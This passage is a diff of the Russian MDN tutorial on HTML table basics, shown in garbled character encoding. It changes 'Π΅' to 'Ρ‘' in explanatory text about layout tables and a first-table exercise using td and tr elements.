-<p><a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/personal-pronouns.html">Π˜ΡΡ…ΠΎΠ΄Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ HTML (HTML source code)</a> Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ Π΅ΡΡ‚ΡŒ Π² GitHub; посмотритС Π΅Π³ΠΎ ΠΈ <a href="http://mdn.github.io/learning-area/html/tables/basic/personal-pronouns.html">ΠΆΠΈΠ²ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ (look at the live example)</a>! Π’Ρ‹ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Ρ‚Π°Π±Π»ΠΈΡ†Π° Ρ‚Π°ΠΌ выглядит ΠΈΠ½Π°Ρ‡Π΅ β€” это ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π½Π° сайтС MDN ΠΊ этим Π΄Π°Π½Π½Ρ‹ΠΌ Π±Ρ‹Π»Π° ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π° Ρ‚Π°Π±Π»ΠΈΡ†Π° стилСй, Π° ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π² GitHub ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ стилС Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚.</p>
+<p><a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/personal-pronouns.html">Π˜ΡΡ…ΠΎΠ΄Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ HTML (HTML source code)</a> Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ Π΅ΡΡ‚ΡŒ Π² GitHub; посмотритС Π΅Π³ΠΎ ΠΈ <a href="http://mdn.github.io/learning-area/html/tables/basic/personal-pronouns.html">ΠΆΠΈΠ²ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ (look at the live example)</a>! Π’Ρ‹ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Ρ‚Π°Π±Π»ΠΈΡ†Π° Ρ‚Π°ΠΌ выглядит ΠΈΠ½Π°Ρ‡Π΅ β€” это ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π½Π° сайтС MDN ΠΊ этим Π΄Π°Π½Π½Ρ‹ΠΌ Π±Ρ‹Π»Π° ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π° Ρ‚Π°Π±Π»ΠΈΡ†Π° стилСй, Π° ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π² GitHub ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ стилС Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚.</p>
<p>НС ΠΏΠΈΡ‚Π°ΠΉΡ‚Π΅ Π»ΠΎΠΆΠ½Ρ‹Ρ… иллюзий - Ρ‡Ρ‚ΠΎΠ±Ρ‹ эффСктивно ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Π² Π²Π΅Π±, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€ΠΈΠ΄Π°Ρ‚ΡŒ ΠΈΠΌ Ρ…ΠΎΡ€ΠΎΡˆΡƒΡŽ структуру Π² HTML ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΊ Π½ΠΈΠΌ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй (<a href="/en-US/docs/Learn/CSS">CSS</a>). Π’ Π΄Π°Π½Π½ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ сфокусируСмся Π½Π° HTML, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ касаСтся CSS, Π²Π°ΠΌ Π½Π°Π΄ΠΎ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ ΡΡ‚Π°Ρ‚ΡŒΠ΅ <a href="/en-US/docs/Learn/CSS/Styling_boxes/Styling_tables">Бтилизация Ρ‚Π°Π±Π»ΠΈΡ†</a>.</p>
<p>Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ Π½Π΅ фокусируСмся Π½Π° CSS, Π½ΠΎ всС ΠΆΠ΅ Π΄Π°Π»ΠΈ ΠΏΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΡƒΡŽ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй CSS, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Π±ΠΎΠ»Π΅Π΅ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ. Π­Ρ‚Ρƒ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">здСсь</a>, ΠΌΠΎΠΆΠ½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/blank-template.html">шаблон HTML</a>, ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‰ΠΈΠΉ эту стаблицу стилСй β€” вмСстС ΠΎΠ½ΠΈ Π΄Π°Π΄ΡƒΡ‚ Π²Π°ΠΌ Ρ…ΠΎΡ€ΠΎΡˆΡƒΡŽ основу для экспСримСнтов с Ρ‚Π°Π±Π»ΠΈΡ†Π°ΠΌΠΈ HTML.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ <a href="http://mdn.github.io/learning-area/html/tables/basic/personal-pronouns-styled.html">Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ personal_pronouns с ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΌ ΠΊ Π½Π΅ΠΉ стилСм</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΎΠ½Π° выглядит.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ <a href="http://mdn.github.io/learning-area/html/tables/basic/personal-pronouns-styled.html">Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ personal_pronouns с ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΌ ΠΊ Π½Π΅ΠΉ стилСм</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΎΠ½Π° выглядит.</p>
</div>
<h3 id="Когда_Π½Π΅_Π½Π°Π΄ΠΎ_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ_Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹_HTML">Когда Π½Π΅ Π½Π°Π΄ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ HTML?</h3>
@@ -116,21 +116,21 @@ translation_of: Learn/HTML/Tables/Basics
<ol>
<li><strong>Π’Π°Π±Π»ΠΈΡ†Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ для оформлСния, ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°ΡŽΡ‚ Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ страниц для людСй, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ со Π·Ρ€Π΅Π½ΠΈΠ΅ΠΌ</strong>: <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">Π‘ΠΊΡ€ΠΈΠ½Ρ€ΠΈΠ΄Π΅Ρ€Ρ‹ (Screenreaders</a>), ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ ΠΈΠΌΠΈ, ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ HTML-Ρ‚Π΅Π³ΠΈ ΠΈ Ρ‡ΠΈΡ‚Π°ΡŽΡ‚ содСрТимоС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ срСдством для прСдставлСния структуры Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° получаСтся слоТнСС, Ρ‡Π΅ΠΌ ΠΏΡ€ΠΈ использовании ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² CSS, скринридСры вводят ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Π² Π·Π°Π±Π»ΡƒΠΆΠ΄Π΅Π½ΠΈΠ΅.</li>
- <li><strong>Π’Π°Π±Π»ΠΈΡ†Ρ‹ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Ρƒ Ρ‚Π΅Π³ΠΎΠ²</strong>: Как ΡƒΠΆΠ΅ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΎΡΡŒ, ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΠ΅ страниц с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚Π°Π±Π»ΠΈΡ† Π΄Π°Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ ΡΠ»ΠΎΠΆΠ½ΡƒΡŽ структуру Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Ρ‡Π΅ΠΌ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½Ρ‹Π΅ для этого ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹. БоотвСтствСнно, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠΎΠ΄ Ρ‚Ρ€ΡƒΠ΄Π½Π΅Π΅ ΠΏΠΈΡΠ°Ρ‚ΡŒ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΈ ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Ρ‚ΡŒ.</li>
+ <li><strong>Π’Π°Π±Π»ΠΈΡ†Ρ‹ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Ρƒ Ρ‚Π΅Π³ΠΎΠ²</strong>: Как ΡƒΠΆΠ΅ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΎΡΡŒ, ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΠ΅ страниц с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚Π°Π±Π»ΠΈΡ† Π΄Π°Ρ‘Ρ‚ Π±ΠΎΠ»Π΅Π΅ ΡΠ»ΠΎΠΆΠ½ΡƒΡŽ структуру Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Ρ‡Π΅ΠΌ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½Ρ‹Π΅ для этого ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹. БоотвСтствСнно, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠΎΠ΄ Ρ‚Ρ€ΡƒΠ΄Π½Π΅Π΅ ΠΏΠΈΡΠ°Ρ‚ΡŒ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΈ ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Ρ‚ΡŒ.</li>
<li><strong>Π’Π°Π±Π»ΠΈΡ†Ρ‹ Π½Π΅ Ρ€Π΅Π°Π³ΠΈΡ€ΡƒΡŽΡ‚ автоматичСски Π½Π° Ρ‚ΠΈΠΏ устройства</strong>: Π£ Π½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰ΠΈΡ… ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠ² (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, {{htmlelement("header")}}, {{htmlelement("section")}}, {{htmlelement("article")}}, ΠΈΠ»ΠΈ {{htmlelement("div")}}) ΡˆΠΈΡ€ΠΈΠ½Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½Π° 100% ΠΎΡ‚ ΠΈΡ… Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта. Π£ Ρ‚Π°Π±Π»ΠΈΡ† ΠΆΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ подстраиваСтся ΠΏΠΎΠ΄ ΠΈΡ… содСрТимоС, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ Π½Π° Ρ€Π°Π·Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠ°Ρ… устройств Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΌΠ΅Ρ€Ρ‹.</li>
</ol>
<h2 id="Π£ΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅_Π’Π°ΡˆΠ°_пСрвая_Ρ‚Π°Π±Π»ΠΈΡ†Π°">Π£ΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅: Π’Π°ΡˆΠ° пСрвая Ρ‚Π°Π±Π»ΠΈΡ†Π°</h2>
-<p>Π˜Ρ‚Π°ΠΊ, ΠΌΡ‹ ΡƒΠΆΠ΅ достаточно Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ ΠΎ Ρ‚Π΅ΠΎΡ€ΠΈΠΈ, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ возьмСм ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈ построим Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ.</p>
+<p>Π˜Ρ‚Π°ΠΊ, ΠΌΡ‹ ΡƒΠΆΠ΅ достаточно Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ ΠΎ Ρ‚Π΅ΠΎΡ€ΠΈΠΈ, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²ΠΎΠ·ΡŒΠΌΡ‘ΠΌ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈ построим Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ.</p>
<ol>
<li>ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, создайтС Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/blank-template.html">blank-template.html</a> ΠΈ <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> Π² Π½ΠΎΠ²ΠΎΠΉ ΠΏΠ°ΠΏΠΊΠ΅ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅.</li>
<li>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ любой Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ ΠΌΠ΅ΠΆΠ΄Ρƒ двумя Ρ‚Π΅Π³Π°ΠΌΠΈ : <strong><code><a href="/en-US/docs/Web/HTML/Element/table">&lt;table&gt;&lt;/table&gt;</a></code></strong>. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΠΈΡ… Π² Ρ‚Π΅Π»ΠΎ HTML.</li>
- <li>Π‘Π°ΠΌΡ‹ΠΌ малСньким ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ являСтся ячСйка, ΠΎΠ½Π° создаСтся элСмСнтом <strong><code><a href="/en-US/docs/Web/HTML/Element/td">&lt;td&gt;</a></code></strong> ('td' - сокращСниС ΠΎΡ‚ 'table data'). Π’Π²Π΅Π΄ΠΈΡ‚Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ‚Π΅Π³ΠΎΠ² table ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:
+ <li>Π‘Π°ΠΌΡ‹ΠΌ малСньким ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ являСтся ячСйка, ΠΎΠ½Π° создаётся элСмСнтом <strong><code><a href="/en-US/docs/Web/HTML/Element/td">&lt;td&gt;</a></code></strong> ('td' - сокращСниС ΠΎΡ‚ 'table data'). Π’Π²Π΅Π΄ΠΈΡ‚Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ‚Π΅Π³ΠΎΠ² table ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:
<pre class="brush: html notranslate">&lt;td&gt;Hi, I'm your first cell.&lt;/td&gt;</pre>
</li>
- <li>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ строку ΠΈΠ· Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… ячССк, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ эти Ρ‚Π΅Π³ΠΈ Ρ‚Ρ€ΠΈ Ρ€Π°Π·Π°. ΠžΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ содСрТимоС Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½Π° выглядСла ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:
+ <li>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ строку ΠΈΠ· Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… ячССк, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ эти Ρ‚Π΅Π³ΠΈ Ρ‚Ρ€ΠΈ Ρ€Π°Π·Π°. ΠžΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ содСрТимоС Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½Π° выглядСла ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:
<pre class="brush: html notranslate">&lt;td&gt;Hi, I'm your first cell.&lt;/td&gt;
&lt;td&gt;I'm your second cell.&lt;/td&gt;
&lt;td&gt;I'm your third cell.&lt;/td&gt;
@@ -138,7 +138,7 @@ translation_of: Learn/HTML/Tables/Basics
</li>
</ol>
-<p>Как Π²ΠΈΠ΄ΠΈΡ‚Π΅, ячСйки Π½Π΅ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ ΠΎΠ΄Π½Π° ΠΏΠΎΠ΄ Π΄Ρ€ΡƒΠ³ΠΎΠΉ, Π½Π° самом Π΄Π΅Π»Π΅ ΠΎΠ½ΠΈ автоматичСски Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ячСйкам Ρ‚ΠΎΠΉ ΠΆΠ΅ строки. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт <code>&lt;td&gt; </code>создаСт ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΡƒΡŽ ячСйку, Π° всС вмСстС ΠΎΠ½ΠΈ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΠΏΠ΅Ρ€Π²ΡƒΡŽ строку. КаТдая добавлСнная ячСйка удлиняСт эту строку.</p>
+<p>Как Π²ΠΈΠ΄ΠΈΡ‚Π΅, ячСйки Π½Π΅ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ ΠΎΠ΄Π½Π° ΠΏΠΎΠ΄ Π΄Ρ€ΡƒΠ³ΠΎΠΉ, Π½Π° самом Π΄Π΅Π»Π΅ ΠΎΠ½ΠΈ автоматичСски Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ячСйкам Ρ‚ΠΎΠΉ ΠΆΠ΅ строки. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт <code>&lt;td&gt; </code>создаёт ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΡƒΡŽ ячСйку, Π° всС вмСстС ΠΎΠ½ΠΈ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΠΏΠ΅Ρ€Π²ΡƒΡŽ строку. КаТдая добавлСнная ячСйка удлиняСт эту строку.</p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ эта строка пСрСстала расти, Π° Π½ΠΎΠ²Ρ‹Π΅ ячСйки ΠΏΠ΅Ρ€Π΅ΡˆΠ»ΠΈ Π½Π° Π²Ρ‚ΠΎΡ€ΡƒΡŽ строку, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнт <strong><code><a href="/en-US/docs/Web/HTML/Element/tr">&lt;tr&gt;</a></code></strong> ('tr' - сокращСниС ΠΎΡ‚ 'table row'). ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ, ΠΊΠ°ΠΊ это получится.</p>
@@ -152,7 +152,7 @@ translation_of: Learn/HTML/Tables/Basics
&lt;td&gt;I'm your fourth cell.&lt;/td&gt;
&lt;/tr&gt;</pre>
</li>
- <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ΄Π½Π° строка ΡƒΠΆΠ΅ Π΅ΡΡ‚ΡŒ, Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π΅Ρ‰Π΅ β€” ΠΊΠ°ΠΆΠ΄ΡƒΡŽ строку Π½Π°Π΄ΠΎ Π²Π»ΠΎΠΆΠΈΡ‚ΡŒ Π² Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ элСмСнт <code>&lt;tr&gt;</code>, Π° каТдая ячСйка Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>элСмСнта &lt;td&gt;</code>.</li>
+ <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ΄Π½Π° строка ΡƒΠΆΠ΅ Π΅ΡΡ‚ΡŒ, Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π΅Ρ‰Ρ‘ β€” ΠΊΠ°ΠΆΠ΄ΡƒΡŽ строку Π½Π°Π΄ΠΎ Π²Π»ΠΎΠΆΠΈΡ‚ΡŒ Π² Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ элСмСнт <code>&lt;tr&gt;</code>, Π° каТдая ячСйка Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>элСмСнта &lt;td&gt;</code>.</li>
</ol>
<p>Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ получится Ρ‚Π°Π±Π»ΠΈΡ†Π°, которая Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:</p>
@@ -180,7 +180,7 @@ translation_of: Learn/HTML/Tables/Basics
<h2 id="Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ²_с_ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ_элСмСнтов_&lt;th>">Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнтов &lt;th&gt;</h2>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ обратимся ΠΊ Ρ‚Π°Π±Π»ΠΈΡ‡Π½Ρ‹ΠΌ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌ β€” особым ячСйкам, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ΄ΡƒΡ‚ Π²Π½Π°Ρ‡Π°Π»Π΅ строки ΠΈΠ»ΠΈ столбца ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТит данная строка ΠΈΠ»ΠΈ столбСц (ΠΊΠ°ΠΊ "Person" ΠΈ "Age" Π² ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠΈ). Π§Ρ‚ΠΎΠ±Ρ‹ 